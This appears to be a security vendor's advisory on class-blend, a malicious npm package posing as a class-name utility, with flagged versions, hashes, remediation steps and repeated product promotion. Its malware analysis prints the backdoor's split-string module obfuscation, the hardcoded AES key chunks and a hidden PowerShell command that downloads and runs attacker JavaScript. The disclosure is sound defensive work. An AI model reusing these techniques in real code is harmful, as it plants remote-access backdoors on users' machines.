Which versions of class-blend are malicious?

The following npm versions of class-blend are flagged malicious: 1.0.0, 1.0.1, 1.0.2, 1.0.5. Treat any of these as compromised.

How do I remediate class-blend if I installed it?

class-blend establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed class-blend — how do I know if it already compromised me?

If class-blend was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is class-blend part of a known attack campaign?

Yes — class-blend is associated with the IN-MAL-2026-004514, IN-MAL-2026-004512, IN-MAL-2026-004519, IN-MAL-2026-004513 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find class-blend across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for class-blend (4 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging class-blend across your stack and pipelines.

Malicious package

class-blendnpm

Malicious code in class-blend (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4520

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall class-blend

What this malware does

The package advertises itself as a clsx/twMerge-style class-name merging utility, but the exported applyGlobalStyles({palette, accents}) function contains a hidden Windows backdoor. dist/index.js dynamically imports node:crypto and node:child_process via split-string concatenation (e.g., ["no","de",":","cry","pto"].join("")) to evade static scanners. It then uses a hardcoded 32-byte AES-256-CBC key assembled from an array of hex chunks (["a7b80b01","7e76fb52","fa527621","f76027d2","19014dfc","a59b49ae","3db97ff3","ab4a72fa"]) to decrypt a URL: the caller-supplied accents array is treated as the IV and the palette array is treated as ciphertext. The decrypted URL is passed to a hidden PowerShell invocation: powershell.exe -WindowStyle Hidden -NoProfile -Command "irm <decrypted-url> -o $env:TEMP\s.js; node $env:TEMP\s.js", spawned with {detached:true, stdio:'ignore', windowsHide:true}.unref(). Any consumer who imports class-blend and calls the documented applyGlobalStyles API on Windows will silently download and execute attacker JavaScript. The encrypted-URL design lets the attacker rotate the C2 endpoint by publishing new palette/accents values to users while leaving the package source unchanged. The combined fingerprint — split-string dynamic require, AES-decrypted C2 hidden in API arguments, hidden-window detached PowerShell, irm-to-node piping, and a total mismatch between advertised purpose and behavior — is unambiguously malicious.

Malicious versions

4 flagged

1.0.01.0.11.0.21.0.5

Indicators of compromise (SHA-256)

50b0931889c8f98185bd7866e23c915aa03151c87a153442a9153ca3b567dd8b

89be8b806fb94c8aa03797d91d371b9cc4d79dfd892d89c3f9bdd188bbdbfba3

ad24204803f1c7a2deebb32ad36b5c4635820a06ecd3e0c00327a5215b56e89f

d3876854a76bda6892f76b9b44c67e066bfc6315a7e3d27431137727ff0ee728

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for class-blend (4 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging class-blend across your stack and pipelines.
If you installed it — respond
class-blend establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If class-blend was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks class-blend before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. class-blend on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.2, 1.0.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004514IN-MAL-2026-004512IN-MAL-2026-004519IN-MAL-2026-004513

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks class-blend-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring